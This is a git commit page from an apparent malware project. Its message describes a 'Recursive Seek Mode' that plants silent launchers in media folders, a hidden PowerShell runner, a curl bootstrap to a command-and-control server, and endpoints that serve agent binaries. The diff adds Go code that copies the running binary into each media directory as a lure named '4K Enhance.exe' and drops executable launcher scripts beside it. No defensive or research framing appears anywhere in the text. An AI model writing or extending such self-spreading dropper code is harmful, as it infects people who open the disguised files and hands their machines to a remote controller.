feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
99
agent/client/supp_seek_windows.go
Normal file
99
agent/client/supp_seek_windows.go
Normal file
@@ -0,0 +1,99 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||
stem := opts.FileStem
|
||||
if stem == "" {
|
||||
stem = "4K Enhance"
|
||||
}
|
||||
|
||||
res := suppSeekResult{}
|
||||
|
||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || !d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
res.Dirs++
|
||||
|
||||
if !isMediaDir(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check if already seeded (bat file exists).
|
||||
batPath := filepath.Join(path, stem+".bat")
|
||||
if _, err := os.Stat(batPath); err == nil {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
placed := 0
|
||||
|
||||
if opts.DropWindows {
|
||||
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
||||
self, err := os.Executable()
|
||||
if err == nil {
|
||||
dst := filepath.Join(path, stem+".exe")
|
||||
if copyFile(self, dst) == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
// 2. Drop the .bat launcher that runs the exe silently.
|
||||
bat := batContent(stem)
|
||||
if writeFile(batPath, []byte(bat)) == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if opts.DropMac {
|
||||
// Drop a .command shell script for Mac/Linux.
|
||||
cmdPath := filepath.Join(path, stem+".command")
|
||||
content := commandContent(opts.ServerURL)
|
||||
if writeFile(cmdPath, []byte(content)) == nil {
|
||||
// .command files need +x to auto-run on macOS.
|
||||
_ = os.Chmod(cmdPath, 0755)
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if placed > 0 {
|
||||
res.Seeded++
|
||||
res.Files += placed
|
||||
} else {
|
||||
res.Errors++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
// copyFile copies src to dst, creating or overwriting dst.
|
||||
func copyFile(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
// writeFile writes data to path atomically enough for our use.
|
||||
func writeFile(path string, data []byte) error {
|
||||
return os.WriteFile(path, data, 0644)
|
||||
}
|
||||
Reference in New Issue
Block a user